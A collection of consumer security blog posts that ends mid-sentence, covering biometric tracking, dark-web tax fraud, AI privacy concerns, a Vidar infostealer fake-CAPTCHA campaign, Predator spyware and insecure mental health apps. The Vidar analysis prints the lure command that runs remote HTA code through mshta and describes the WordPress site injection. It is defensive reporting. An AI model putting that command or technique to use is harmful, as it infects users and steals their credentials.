New York City lawmakers are pushing to ban private businesses from using biometric tools like voice and facial recognition software to track the public.
While the desire to use surveillance technology in stores to fight shoplifting is understandable, lawmakers and privacy advocates are worried that the data could be repurposed to profile customers.
The New York City Council has held a hearing over two bills that would ban city landlords and businesses from using facial recognition technology.
One proposal would make it illegal for any public place to use biometric recognition technology to identify or verify a customer.
The other would prohibit landlords from installing, activating, or using any biometric recognition technology that identifies tenants or their guests.
In this article we want to focus on some of the reasons behind these proposals.
For context, it’s good to know that in New York City, businesses that collect biometric data are already required to post standardized signs letting people know.
Let’s look at what happens when your face becomes your ID, and every movement in a store can be turned into another data point.
Why gathering biometric data is considered bad
Collecting biometric data raises several objections. The most pressing ones are:
Unique but hard-to-erase identifiers. While you can reset a password, your face is harder to change. This means data leaks or abuse of facial templates, gait, or voiceprints can create permanent risks and be linked across databases.
Accuracy and bias concerns. Studies and civil liberties groups have found that facial recognition system can be error-prone and biased across different groups.
Lack of meaningful consent. In practice, supermarkets and landlords using facial recognition are giving people a mere theoretical choice. People can submit their biometrics or forego basic services. Critics argue that this undermines genuine consent.
Chilling effect. The feeling of constantly being watched everywhere you go is an uncomfortable one, and can discourage people from engaging in everyday, legitimate activities.
Surveillance pricing. This deserves some more explanation, which we’ll cover next.
What is surveillance pricing?
It’s essentially how your face becomes an unerasable loyalty card.
Imagine you go into a local supermarket and notice that different people pay different prices for the same item. Would that feel fair?
Surveillance pricing refers to the use of detailed consumer data and behavioral signals to dynamically adjust prices.
Some characterize it as retailers using big‑data profiles to segment customers into increasingly narrow groups, down to the level of potentially charging each person the maximum the model thinks they are willing to pay.
We already see versions of this online. When you’re looking for airline tickets, for example, prices can change based on various signals. But it can be hard to notice, and companies tell us it’s not personal. But imagine that same logic quietly following you into the supermarket.
How this works online is relatively straightforward: websites track clicks, time on page, cart activity, and past spending to estimate how sensitive you are to price changes.
In physical stores it’s more complex, but not impossible. Data from in-store security systems that also collect biometrics and facial recognition can be combined with loyalty programs, apps, and in‑store Wi‑Fi analytics could, in theory, be combined to build similar profiles.
Electronic shelf labels (ESL) can already allow retailers to change shelf prices instantly across a store or specific sections.
This could lead to situations where wealthier or more brand-loyal customers are quietly charged more. Or vulnerable groups could be targeted with manipulative discounts for higher‑margin or even less healthy products.
What to do?
Unfortunately, there’s no simple way to privacy‑hack your way out of a system that can turn your body into a tracking ID. The most effective fix is boring but powerful: laws with teeth, regulators that actually enforce them, and stores that don’t hide what they’re doing.
You could:
Avoid stores that openly advertise biometric scanning when there are alternatives.
Support local and national efforts to regulate biometric tracking and related practices, such as the proposals from the New York City Council.
We shouldn’t have to trade access to food, housing, or basic services for the ability to move through a city without our bodies being mined for data. If we don’t draw that line now, practices like surveillance pricing could quietly bake inequality and discrimination into something as mundane as buying groceries.
We don’t just report on privacy—we offer you the option to use it.
Privacy risks should never spread beyond a headline. Keep your online privacy yours by using Malwarebytes Privacy VPN.
Tax season is also peak season for identity theft. Criminals use stolen personal data to file fake tax returns and claim refunds before the real taxpayer does. Here’s how the fraud works, and how to protect yourself.
What is Stolen Identity Refund Fraud (SIRF)?
Stolen Identity Refund Fraud (SIRF) is a type of tax fraud where criminals steal someone’s personal information—such as a Social Security number and date of birth—and use it to file a fake tax return in that person’s name in order to claim a tax refund.
The fraudsters usually submit the false return early in the tax season before the real taxpayer files, so the refund is issued to them instead of the legitimate person.
The money is often sent to bank accounts, debit cards, or addresses controlled by the criminals. Victims usually discover the fraud only when their real tax return is rejected or when the tax authority, like the US Internal Revenue Service (IRS), reports that a refund has already been issued in their name.
How is it even possible?
As Americans scramble to meet the annual tax filing deadline, a hidden ecosystem on the Dark Web kicks into overdrive, transforming tax season into a lucrative period of the year for international cybercriminals. Shahak Shalev, Global Head of Scam and AI Research at Malwarebytes, said:
“People are expecting messages about taxes, refunds, and filings, which makes phishing emails and fake IRS alerts much easier to believe. At the same time, the personal data needed to commit tax fraud is shockingly cheap on the dark web. It’s no surprise scammers treat tax season like an annual opportunity.”
Behind the sudden influx of fraudulent refund claims lies a highly organized criminal supply chain deeply rooted in Russian-language underground forums. These specialized platforms act as the primary enablers of tax fraud.
Rather than harvesting data from scratch, fraudsters can simply purchase massive datasets of stolen Personally Identifiable Information (PII), complete with ready-to-use W-2 and 1040 forms. For more sophisticated operations, Initial Access Brokers (IABs) auction off direct network access to compromised Certified Public Accountants (CPAs) and accounting firms.
Beyond raw data and access, this underground economy provides a full suite of “fraud-as-a-service” tools—including on-demand services to forge supporting financial documents and dedicated instructional hubs featuring step-by-step tutorials.
A threat actor looking for partners for US tax refund fraud (based on data from accounting software)
The threat actor is selling access to a CPA company with accounting software databases
A threat actor looking for partners for US tax refund fraud
The black market of PII
At the epicenter of this illicit commerce is one of the premier Russian-language underground forums, which serves as the definitive marketplace for fraudsters to buy and offload tax-related PII. The commoditization of this data is staggering in its efficiency, operating much like a traditional e-commerce platform.
Our research team has captured several compelling samples of this trading activity, highlighting a clear pricing tier based on the freshness of the data and the target demographic. In one recently observed listing, a threat actor advertised a bulk package of 100 complete tax forms for $2,000—effectively pricing a fully documented stolen identity at just $20.
A threat actor offering US tax forms and W-2s for sale
A threat actor offering discounted 1040 forms, PII, and bank data for sale
Conversely, older data dumps from the 2024 tax year are heavily discounted to clear inventory; highly sensitive records specifically belonging to wealthy retirees and pensioners from that period are currently being traded for less than $4 per identity.
Access for sale
This staggering volume of tax-related data must originate from somewhere, and threat actors have identified the ultimate jackpot: US companies that handle tax preparation and accounting procedures.
From an attacker’s perspective, it is infinitely more efficient to breach a dedicated business that serves as a centralized vault for this sensitive information than to cast a wide net trying to trick individual citizens into handing over their personal details.
Our research team recently intercepted a prime example of this strategy in action, identifying a Dark Web listing for compromised network access to a US-based tax service firm. The victimized organization is a small business; a typical target of criminals looking for easy access for exploitable information.
Exploiting these systemic weaknesses, the threat actor was able to quietly infiltrate the company’s internal infrastructure and is now auctioning off direct access to a database containing the complete, highly sensitive PII of over 1,600 clients.
A threat actor auctioning off access to a database of PII of more than 1,600 customers
Additional data for sale
Even when threat actors encounter roadblocks during the fraud process—such as a missing piece of PII or a highly specific financial document required for verification—the cybercrime underground offers a comprehensive suite of on-demand services to seamlessly solve these issues.
Our research team has tracked a dedicated black market known as “Cypher – Fullz and Docs,” which specializes in selling complete, ready-to-use sets of stolen US identities (commonly referred to in the underground as “fullz”) for as little as $0.75 per set.
Advertising stolen data on the dark web
Another ad for “fullz” – full identities
However, having the basic data is sometimes not enough to bypass required checks.
When additional paperwork is required to legitimize a fraudulent claim, threat actors simply turn to specialized forgery services like “Fakelab.” For a nominal fee ranging between $20 and $40, Fakelab operates as an illicit digital design studio, meticulously forging any tax-related document an attacker might need, from customized W-2s to realistic bank statement, ensuring the scam can proceed without a hitch.
Advert for documents, including medical and tax forms
Price list for data
Tutorials and guidance
The culmination of the tax fraud lifecycle—and often the most precarious phase for the attacker—is the cashout. To successfully finalize the scam and extract the stolen funds, fraudsters require a robust financial infrastructure, typically relying on compromised “drop” bank accounts and supplementary financial tools designed to launder the money and obscure their tracks.
Unsurprisingly, the Dark Web ecosystem provides not just the tools but the detailed education necessary to execute this critical phase. Our research team identified a dedicated underground resource known as “Flava,” which serves as a centralized instructional hub. This platform is brimming with comprehensive, step-by-step tutorials specifically detailing how to orchestrate these complex cashout schemes targeting US citizens and residents.
A Russian-language marketplace related to financial fraud techniques.
How to stay safe
Stolen Identity Refund Fraud is a reminder that identity theft doesn’t just lead fraudulent purchases. It can impact something as fundamental as filing your taxes.
Cybercriminals take advantage of underground marketplaces that sell stolen personal data, compromised business access, and tools designed to support fraud. It makes it easier for criminals to file fake tax returns quickly and at scale.
For taxpayers, the best defense is limiting the amount of personal data available to criminals, filing your taxes early, and paying attention to any warning signs that someone may be trying to use your identity.
Tax fraud often depends on criminals getting access to your personal information first. The less data they have, the harder it is for them to impersonate you. Here are some steps that can help reduce your risk:
File your taxes early. Submitting your legitimate tax return early makes it much harder for criminals to file one in your name first.
Protect your Social Security number. Avoid sharing your Social Security number unless it’s absolutely necessary.
Watch out for phishing emails and texts. Scammers often pose as the IRS, banks, or tax services to trick people into revealing personal data.
Use strong, unique passwords. If criminals gain access to your email or financial accounts, they may be able to collect the information needed to impersonate you.
Monitor your accounts and credit reports. Unexpected tax notices, rejected returns, or unfamiliar financial activity can all be warning signs of identity theft.
Consider an IRS Identity Protection PIN (IP PIN). An IP PIN adds an extra verification step when filing your tax return, helping prevent criminals from filing in your name.
Note: These dark web screenshots have been roughly translated from Russian.
What do cybercriminals know about you?
Use Malwarebytes’ free Digital Footprint scan to see whether your personal information has been exposed online.
AI didn’t sneak into our lives. It burst through the door, took a seat at the table, and started finishing our sentences.
Instead of a helpful list of links, Google now tries to answer your question. Microsoft’s Copilot drafts replies to your boss before you’ve had coffee. Your phone summarizes conversations you don’t even remember having.
Every major tech company is racing to add AI to its products because no one wants to be left behind. And the public is often forced to accommodate such corporate whims because of the increasing effects of “enshittification,” as explained by Cory Doctorow on the Lock and Code podcast.
People are using AI. But they don’t trust it.
In our latest privacy pulse survey, in which we gathered 1,200 responses from readers of the Malwarebytes newsletter earlier this year, 90% of respondents said they’re worried about AI using their data without consent.
Ninety per cent.
That’s not a few skeptics. That’s nearly everyone we asked. We admit, our sample is probably skewed towards the privacy conscious. But 90% of people who follow Malwarebytes are worried about how much personal data AI is slurping up, and what it’s going to do with it, so that’s a good barometer for how much everyone should care.
That concern is changing the way people are using the internet:
88% do not “freely share personal information with AI tools like ChatGPT and Gemini”
84% have not “shared personal health information with AI tools”
But people have been concerned about holding onto their personal information for a long time.
From the survey:
92% are concerned about their “personal data being used inappropriately by corporations,” which is up slightly from last year (89% in 2025)
74% are concerned about their “personal data being accessed and used inappropriately by the government” (up from 72%)
Years of data breaches, shady tracking practices, and dangerous misuse by data brokers have chipped away at our confidence in organizations to protect our data. Over the past year, healthcare organizations have continued to report major security lapses affecting sensitive patient data. The FTC warned about “staggering” commercial surveillance practices that most consumers never agreed to, and, according to our survey, 49% of people reported that their personal info has been used in scams that target them or their family.
Is AI really any different to, say, social media?
When people use social media, they generally understand their clicks and likes are being tracked. When they shop online, they expect the shop to store their purchase histories or track the items they were interested in. They understand the concept of advertising and see how it slots into social or commercial websites.
AI tools are different because we use them differently.
When we share ideas, client meeting notes, personal dilemmas, and health questions with an AI assistant, we are treating them as a confidant. Maybe we’ve paid for an access level that promises not to train its models on our data. Even when we’re chatting about flat-packs and missing screws with a site’s AI chatbot, we behave as if we’re talking to another person, and not broadcasting that conversation to the world.
The interaction with AI feels intimate and conversational, even though we’re all aware we’re talking with a bot. That makes the uncertainty around how that AI handles the data we’ve fed it more personal, more immediate.
We know that AI assistants from a company are often plugged into other tools. We know GPTs can be created by any developer or scammer. (Check out Malwarebytes in ChatGPT—we’re one of the good guys). We know nearly every business or personal platform now has some form of AI-based data-gathering element. What the average person doesn’t know about AI feels scary.
Where are our prompts stored?
Are those prompts are used to train the AI?
How long are they kept?
Can anyone inside the company read them?
Can they be bought? Used for advertising? Leaked?…
Yes, companies publish policies, but who in the real and busy world reads all those before we use the tool? Fewer than half, but a growing number, with 48% said they now read privacy policies and reports—up from 43% in 2025.
Besides, we know from recent headlines that companies are rushing out AI features before they’ve had time to properly security-check them.
A glimmer of hope: People are taking action
This result from the survey caught our eye.
63% of respondents agreed with the statement: “I feel resigned that my personal data is already out there, and I can’t get it back.”
Last year, that number was 74%.
So, while concern about data misuse is still high, fewer people feel entirely helpless.
Respondents reported taking practical steps to limit their data exposure.
Some have reduced or stopped their use of certain platforms entirely because of privacy concerns, including social media (44% have stopped using Instagram, 37% have stopped using Facebook, and 49% have stopped using Tiktok) and AI tools (43% have stopped using ChatGPT, 42% have stopped using Gemini).
Others reported sharing less personal information online or avoiding sensitive topics in digital conversations (88% said they do not freely share personal information with AI tools).
There is also increased use of privacy-protective tools for their data, devices, and identities.
46% use a VPN (up from 42% in 2025)
40% have an identity theft protection solution (down from 43%)
25% use a personal data removal service or solution (up from 23%)
71% use an ad blocker for online browsing (up from 69%)
48% read privacy policies and reports (up from 43%)
76% use MFA (up from 69%)
82% opt-out of data collection, as possible (up from 75%)
38% use fake/dummy data online whenever possible (up from 33%)
None of these actions erase historical data trails, but they do limit new exposure. David Ruiz, senior privacy advocate at Malwarebytes, said:
“Twenty years of online innovation have pointed too many companies in the same direction—against everyday people.
For most people today, the corporations that are pressing AI tools into their daily lives are the same corporations that have monetized their attention spans, invaded their privacy, and lost their data to breaches. But a counterforce is emerging.
The small changes in user behavior should encourage others to understand that, even now, privacy remains possible and worthwhile.”
Privacy protection can feel binary: either everything is exposed or everything is secure. But it’s incremental, and the survey responses reflect how people are starting to take back control of their data.
What this means for companies
Organizations adding AI into their products face a more complex audience than they might have first assumed.
For years, product teams have assumed users would trade more data for more convenience. But when nearly nine in ten people said they’re concerned about AI using their data without consent, trust becomes part of the product itself. Mozilla jumped on this and added a simple “turn off AI” button to Firefox.
It’s no longer enough to highlight what AI can do. Users want to understand what happens after they press “submit.”
We the People… want strong privacy laws
When concern reaches the sort of level we’ve seen in our survey, it inevitably raises the thorny question of regulation.
91% of respondents said they “support national laws regulating how companies can collect, store, share, or use our personal data.”
The issue is less about one tool and more about a sense that the guardrails are unclear. Generative AI systems can draft legal documents, write emails, and process sensitive data at speed. Much of the existing privacy frameworks in the US, EU, and other regions were written before AI was commonplace.
Regulators are trying to catch up. The European Union’s AI Act, passed in 2024, introduced a risk-based approach to governing certain AI systems. In the US, federal agencies including the FTC have issued guidance and warnings around commercial surveillance and automated decision-making, but it does not yet have a comprehensive AI-specific privacy statute.
Desire for national laws and regulation is at an all-time high. Consumers want boundaries that are understandable and enforceable.
What you can do
We’re clearly not going to abandon all technology. AI isn’t going to eat itself out of existence. It can be pretty useful. We use AI to find threats and scams no one’s seen before, which leads to far better protection. We also use generative AI in Scam Guard to provide 24/7 chat assistance (paired with our deep threat research expertise, of course). Many people use them to save time, draft documents, or explore ideas. Also, sadly, to create little caricatures of themselves.
The key here is thoughtful use.
Limit what information you give to public AI tools, especially health details, financial data, and client-sensitive information.
Review the privacy and data retention policies of AI tools you use regularly.
Delete accounts and apps you no longer need.
Audit app permissions at least twice a year.
Use a VPN to reduce tracking by your internet service provider.
Remove your information from major data broker sites. Check whether your personal info is exposed with a Digital Footprint scan.
Use a reputable password manager and avoid reusing passwords across services.
At Malwarebytes, we believe privacy is a human right. Protecting personal data is inseparable from protecting personal security. The more information that circulates without oversight, the greater the opportunity for misuse, fraud, and harm.
AI will continue to develop. That trajectory is unlikely to slow. The question is whether trust will grow alongside it.
In recent years, ClickFix and fake CAPTCHA techniques have become a popular way for cybercriminals to distribute malware. Instead of exploiting a technical vulnerability, these attacks rely on convincing people to run malicious commands themselves.
Our researchers have recently detected a campaign that ultimately delivers the Vidar infostealer, using several different infection chains.
One of the methods used in this campaign involves installing a malicious installer delivered through fake CAPTCHA pages hosted on compromised WordPress websites. We detected a number of compromised websites involved in the campaign, located in countries including Italy, France, the United States, the United Kingdom, and Brazil.
What is Vidar?
Vidar is a well-known infostealer malware family designed to harvest sensitive data from infected systems. It typically targets:
Browser-stored usernames and passwords
Cryptocurrency wallet information
Session cookies and authentication tokens
Autofill data and saved payment information
Files that may contain sensitive data
Because Vidar loads in memory and communicates with remote command servers, it can quietly collect and exfiltrate data without obvious signs of infection.
Fake CAPTCHA: the never-ending story
When a user visits a compromised website, they may see a screen mimicking Cloudflare’s familiar “Verifying you are human” page.
This technique has been widely used since 2024 and has evolved through numerous variations over time, both in its visual appearance and in the malicious commands that start the infection chain.
The fake CAPTCHA message shown to the user.
The page instructs the visitor to copy and run a malicious command that starts the infection chain, in this case:
mshta https://{compromised website}/challenge/cf
Mshta is a legitimate Windows binary designed to execute Microsoft HTML Application (HTA). Because it is built into Windows, attackers have abused it since the early days of the ClickFix campaigns.
In this case, the command launches a simple obfuscated HTA script, which eventually downloads and installs malware associated with the Vidar infostealer.
HTA-based MSI dropper
The HTA script is the intermediate stage that downloads and runs a malicious MSI installer. An MSI is a Windows installation package normally used to install software, but attackers frequently abuse it to deliver malware.
The script performs several operations:
The window is resized to 0x0 and moved off-screen, making the application invisible to the user.
The script terminates if the document.location.href doesn’t start with http.
The strings are decoded using XOR and a random key.
Through WMI queries, the script checks for installed antivirus products.
It creates hidden working folders in a random folder under \AppData\Local to drop the MSI file.
In the end, the script downloads the malicious MSI from a compromised website. The downloaded file must be larger than 100 KB to be considered valid. Finally, it removes the :Zone.Identifier alternate data stream.
The malicious HTA script.
In this case, the malicious MSI was downloaded using the following command:
The MSI defines a CustomAction ConfigureNetFx, and it executes a GoLang loader.
Malware loaders (also known as droppers or downloaders) are common tools in the cybercrime ecosystem. Their main job is to stealthily compromise a system and then deliver one or more additional malware payloads.
In this campaign, the loader ultimately decrypts and executes the Vidar infostealer. The executable has different names in the different MSI samples analyzed.
The custom action defined in the MSI.
The Golang loader decodes a shellcode that performs different anti-analysis checks, including:
CheckRemoteDebuggerPresent
IsDebuggerPresent
QueryPerformanceCounter
GetTickCount
After several intermediate steps, the loader decrypts and loads Vidar infostealer directly into memory.
Analysis of compromised websites
The malicious iframe injected into the compromised websites was generated by the domains cdnwoopress[.]com or woopresscdn[.]com in the analyzed cases.
The malicious iframe injected into the compromised website.
The injected code has several functions, and the command used in the fake CAPTCHA attack is obtained from the /api/get_payload endpoint.
Code injected into the compromised websites.
Because the malicious website was misconfigured, we were able to view the backend code injected into the compromised WordPress sites.
The injected script performs several actions:
Creates the file wp-cache-manager.php if it doesn’t already exist, obtaining its contents from the endpoint /api/plugin.
Sends a heartbeat request every hour containing the domain name, site URL, WordPress version, and status.
During page loads (template_redirect), the script filters visitors based on User-Agent and targets Windows desktop visitors.
Requests /api/inject?domain=domain from the remote command server. The response HTML is then displayed, replacing the normal WordPress page.
The malicious code injected in the compromised WordPress site.
How to stay safe
Attacks like this rely on tricking people into running commands themselves, so a few simple precautions can make a big difference.
Slow down. If a webpage asks you to run commands on your device or copy and paste code, pause and think before following the instructions. Cybercriminals often create a sense of urgency with fake security checks, countdown timers, or warnings designed to make you act without thinking.
Never run commands from untrusted sources. A legitimate website should never require you to press Win+R, open Terminal, or paste commands into PowerShell just to verify you are human. If a page asks you to do this, treat it as suspicious.
Verify instructions independently. If a website tells you to execute a command or perform a technical action, check official documentation or contact support through trusted channels before doing anything.
Be cautious with copy and paste. Some attacks hide malicious commands in copied text. If you ever need to run a command from documentation, typing it manually can help reduce the risk of running hidden code.
Protect your device. Keep your operating system and browser updated and use security software that can block malicious websites and detect infostealer malware.
Stay informed. Techniques like fake CAPTCHA pages and ClickFix attacks continue to evolve. Knowing that attackers may try to trick you into running commands yourself can help you spot these scams before they succeed.
Pro tip: The free Malwarebytes Browser Guard extension can warn you if a website attempts to copy content to your clipboard, which may help prevent this type of attack.
Cybersecurity researchers have taken a close look at the inner workings of the Predator spyware, developed by the Cyprus-based company Intellexa. Rather than focusing on how the spyware initially infects a device, this latest research zooms in on how the malware behaves once a device has already been compromised.
The most fascinating discovery involves the mechanisms the Trojan uses to hide iOS camera and microphone indicators. By doing so, it can covertly spy on the infected user. In today’s post, we break down what Predator spyware actually is, how the iOS indicator system is designed to work, and how this malware manages to disable these indicators.
What Predator is, how it works, and what… Alien has to do with it
We previously took a deep dive into the most notorious commercial spyware out there in a dedicated feature — where we discussed the star of today’s post, Predator, among the others. You can check out that earlier post for a detailed review of this spyware, but for now, here’s a quick refresher on the essentials.
Predator was originally developed by a North Macedonian company named Cytrox. It was later acquired by the aforementioned Intellexa, a Cyprus-registered firm owned by a former Israeli intelligence officer — a truly international spy games collaboration.
Strictly speaking, Predator is the second half of a spyware duo designed to monitor iOS and Android users. The first component is named Alien; it’s responsible for compromising a device and installing Predator. As you might’ve guessed, these pieces of malware are named after the famous Alien vs. Predator franchise.
An attack using Intellexa’s software typically begins with a message containing a malicious link. When the victim clicks it, they’re directed to a site that leverages a chain of browser and OS vulnerabilities to infect the device. To keep things looking normal and avoid raising suspicion, the user is then redirected to a legitimate website.
Besides Alien, Intellexa offers several other delivery vehicles for landing Predator on a target’s device. These include the Mars and Jupiter systems, which are installed on the service provider’s side to infect devices through a man-in-the-middle attack.
Predator spyware for iOS comes packed with a wide array of surveillance tools. Most notably, it can record and transmit data from the device’s camera and microphone. Naturally, to keep the user from catching on to this suspicious activity, the system’s built-in recording indicators — the green and orange dots at the top of the screen — must be disabled. While it’s been known for some time that Predator could somehow hide these alerts, it’s only thanks to this research that we know how exactly it pulls it off.
How the iOS camera and microphone indicator system works
To understand how Predator disables these indicators, we first need to look at how iOS handles them. Since the release of iOS 14 in 2020, Apple devices have alerted users whenever the microphone or camera is active by displaying an orange or green dot at the top of the screen. If both are running simultaneously, only the green dot is shown.
In iOS 14 and later, an orange dot appears at the top of the screen when the microphone is in use. Source
Just like other iOS user interface elements, recording indicators are managed by a process called SpringBoard, which is responsible for the device’s system-wide UI. When an app starts using the camera or microphone, the system registers the change in that specific module’s state. This activity data is then gathered by an internal system component, which passes the information to SpringBoard for processing. Once SpringBoard receives word that the camera or microphone is active, it toggles the green or orange dot on or off based on that data.
If the camera is in use (or both the camera and microphone are), a green dot appears. Source
From an app’s perspective, the process works like this: first, the app requests permission to access the camera or microphone through the standard iOS permission mechanism. When the app actually needs to use one or both of these modules, it calls the iOS system API. If the user has granted permission, iOS activates the requested module and automatically updates the status indicator. These indicators are strictly controlled by the operating system; third-party apps have no direct access to them.
How Predator interferes with the iOS camera and microphone indicators
Cybersecurity researchers analyzed a captured version of Predator and uncovered traces of multiple techniques used by the spyware’s creators to bypass built-in iOS mechanisms and disable recording indicators.
In the first approach — which appears to have been used during early development — the malware attempted to interfere with the indicators at the display stage right after SpringBoard received word that the camera or microphone was active. However, this method was likely deemed too complex and unreliable by the developers. As a result, this specific function remains in the Trojan as dead code — it’s never actually executed.
Ultimately, Predator settled on a simpler, more effective method that operates at the very level where the system receives data about the camera or microphone being turned on. To do this, Predator intercepts the communication between SpringBoard and the specific component responsible for collecting activity data from these modules.
By exploiting the specific characteristics of Objective-C — the programming language used to write the SpringBoard application — the malware completely blocks the signals indicating that the camera or microphone has been activated. As a result, SpringBoard never receives the signal that the module’s status has changed, so it never triggers the recording indicators.
How to lower your risk of spyware infection
Predator-grade spyware is quite expensive, and typically reserved for high-stakes industrial or state-sponsored espionage. On one hand, this means defending against such a high-tier threat is difficult — and achieving 100% protection is likely impossible. On the other hand, for these same reasons, the average user is statistically unlikely to be targeted.
However, if you’ve reason to believe you’re at risk from Predator or Pegasus-class spyware, here are a few steps you can take to make an attacker’s job much harder:
Don’t click suspicious links from unknown senders.
Regularly update your operating system, browsers, and messaging apps.
Reboot your device occasionally. A simple restart can often help “lose the tail”, forcing attackers to reinfect the device from scratch.
Your Google Search history provides one of the most detailed windows into your private life, and I know this because when I looked at my own search history last year, I was overwhelmed by the information buried within.
Across just 18 months, Google tracked the 8,079 searches I made and the 3,050 websites I visited because of those searches. That included my late-night perusal of WebMD because of medical symptoms I’d looked up just seconds before, my tour of Goodwill donation sites as I searched for where to drop off clothes ahead of an upcoming move, and my ironically tracked visit to a Reddit thread titled “How do I delete most, if not all, of my info off of the Internet?” (One answer I learned: Don’t use Google Search.)
Google tracked my every question, concern, and flight of fancy—almost literally. On just one day in August 2025, Google recorded the seven flight searches I made on Google Flights and the six hotel searches I made on Google Travel.
Google also recorded the many questions and requests I made when researching topics for the Lock and Code podcast, which I host. And while all of that Google data made for an interesting investigation into what Google knows about me (which you can listen to below), it also made it clear that more people should know how to access this same information.
For most Google users, if Web & App Activity is turned on, Google is saving what they look up, what time they looked it up, and what websites they clicked on as a result. There are ways to turn that data tracking off, but the first step is to know where to look.
Here’s how to do that.
How to find your Google Search history
You can start by opening your web browser and signing into Google’s centralized hub for your data online at myactivity.google.com.
The My Google Activity home page
Once logged in, you’ll see the above welcome screen with quick settings that you can change, if you want to. Those settings are different for some users, but may include:
Web & App Activity
Timeline
Play History
YouTube History
Further down on the page, you can browse through your Google Search history. (Our screenshot gallery below can help walk you through the steps.)
First, look for the search bar in the welcome screen that says Search your activity.
Right below, you will find the words Filter by date & product. These words are clickable. Click them.
Once you’ve clicked Filter by date & product, you’ll see a pop-up menu where you can look through your Google activity by date or product. Instead of focusing on the date, scroll down through the list of Google products and check the box for Google Search.
Press Apply.
Find the search bar in the My Google Activity homepage
Click on the words “Filter by date & product”
Scroll down through the list of items until you find Google Search
Click on the Google Search checkbox and click “Apply”
After you press Apply, you’ll be taken to a webpage that lists your Google Search history in reverse chronological order, showing you your most recent activity first. As you scroll down, you can find older activity. You can also use the search bar at the top of the page to look for individual pieces of activity, like a search or series of searches that you previously made.
From here, you can also delete individual Google Search entries so that Google no longer stores that data. This will only apply to the individual search you made.
You can delete individual searches by clicking the “X” button in the top right corner of each search record
Confirm your deletion by pressing “Delete”
Your search is now no longer tied to your overall Google activity
If you want to better protect your privacy, making targeted deletions from your Google Search history is a difficult, lengthy, and imperfect method. Instead, you can simply tell Google to stop recording any of your searches from now on.
How to turn off Google Search history
There’s a simple way to instruct Google to stop saving your online searches to your Google Account, and it takes just a few clicks. Follow the instructions below, along with the image gallery, for guidance.
Go to your My Google Activity homepage (this is the same page you saw when first signing into myactivity.google.com)
Click on that quick control button we saw earlier: Web & App Activity
From here, you will see a new screen with the title Activity Controls
Find the button that says Turn off and click it
Choose between Turn off and Turn off and delete activity
Find the “Turn off” button from the Activity Controls webpage
You can choose one of two options for turning off your data
With one click, you can stop Google from recording your activity
If you selected Turn off, you’re done. Google will no longer save your Google Searches as part of your overall Google profile activity. This option means that Google still has your prior searches recorded, though. So, if you want, you can choose the second option, Turn off and delete activity.
When you select that option, Google will walk you through additional steps to choose what types of data you want erased, such as past activity tied to Google Search, Maps, Ads, Image Search, Google Play Store, Help and other services. All of these options reveal just how many products and pipelines Google has built to vacuum up your data.
Don’t be overwhelmed, though. Go through the list at your own pace and start making decisions about your data that are right for you.
We don’t just report on data privacy—we help you remove your personal information
Cybersecurity risks should never spread beyond a headline. With Malwarebytes Personal Data Remover, you can scan to find out which sites are exposing your personal information, and then delete that sensitive data from the internet.
In February 2026, the cybersecurity firm Oversecured published a report that makes you want to factory reset your phone and move into a remote cabin in the woods. Researchers audited 10 popular Android mental health apps — ranging from mood trackers and AI therapists to tools for managing depression and anxiety — and uncovered… 1575 vulnerabilities! Fifty-four of those flaws were classified as critical. Given the download stats on Google Play, as many as 15 million people could be affected. The real kicker? Six out of the ten apps tested explicitly promised users that their data was “fully encrypted and securely protected”.
We’re breaking down this scandalous “brain drain”: what exactly could leak, how it’s happening, and why “anonymity” in these services is usually just a marketing myth.
What was found in the apps
Oversecured is a mobile app security firm that uses a specialized scanner to analyze APK files for known vulnerability patterns across dozens of categories. In January 2026, researchers ran ten mental health monitoring apps from Google Play through the scanner — and the results were, shall we say, “spectacular”.
App Type
Installs
Security vulnerabilities
High-severity
Medium-severity
Low-severity
Total
Mood & habit tracker
10M+
1
147
189
337
AI therapy chatbot
1M+
23
63
169
255
AI emotional health platform
1M+
13
124
78
215
Health & symptom tracker
500k+
7
31
173
211
Depression management tool
100k+
0
66
91
157
CBT-based anxiety app
500k+
3
45
62
110
Online therapy & support community
1M+
7
20
71
98
Anxiety & phobia self-help
50k+
0
15
54
69
Military stress management
50k+
0
12
50
62
AI CBT chatbot
500k+
0
15
46
61
Total
14.7М+
54
538
983
1575
Vulnerabilities found in the 10 tested mental health apps. Source
The anatomy of the flaws
The discovered vulnerabilities are diverse, but they all boil down to one thing: giving attackers access to data that should be under lock and key.
For starters, one of the vulnerabilities allows an attacker to access any internal activity of the app — even that never intended for external eyes. This opens the door to hijacking authentication tokens and user session data. Once an attacker has those, they essentially could gain access to a user’s therapy records.
Another issue is insecure local data storage with read permissions granted to any other app on the device. In other words, that random flashlight app or calculator on your smartphone could potentially read your cognitive behavioral therapy (CBT) logs, personal notes, and mood assessments.
The researchers also found unencrypted configuration data baked right into the APK installation files. This included backend API endpoints and hardcoded URLs for Firebase databases.
Furthermore, several apps were caught using the cryptographically weak java.util.Random class to generate session tokens and encryption keys.
Finally, most of the tested apps lacked root/jailbreak detection. On a rooted device, any third-party app with root privileges could gain total access to every bit of locally stored medical data.
Shockingly, of the 10 apps analyzed, only four received updates in February 2026. The rest haven’t seen a patch since November 2025, and one hasn’t been touched since September 2024. Going 18 months without a security patch is a lifetime in this industry — especially for an app housing mood journals, therapy transcripts, and medication schedules.
Here’s a quick reminder of just how dangerous the misuse of this type of data gets. In 2024, the tech world was rocked by a sophisticated attack on XZ Utils, a critical component found in virtually every operating system based on the Linux kernel. The attacker successfully pressured the maintainer into handing over code commit permissions by exploiting the developer’s public admission of burnout and a lack of motivation to carry on with the project. Had the attack been completed, the damage would have been mind-boggling given that roughly 80% of the world’s servers run on Linux.
What could leak?
What do these apps collect and store? It’s the kind of stuff you’d likely only share with a trusted clinician: therapy session transcripts, mood logs, medication schedules, self-harm indicators, CBT notes, and various clinical assessment scales.
As far back as 2021, complete medical records were selling on the dark web for US$1000 each. For comparison, a stolen credit card number goes for anywhere between US$5 and US$30. Medical records contain a full identity package: name, address, insurance details, and diagnostic history. Unlike a credit card, you can’t exactly “reissue” your medical history. Furthermore, medical fraud is notoriously difficult to spot. While a bank might flag a suspicious transaction in hours, a fraudulent insurance claim for a phantom treatment can go unnoticed for years.
We’ve seen this movie before
The Oversecured study isn’t just an isolated horror story.
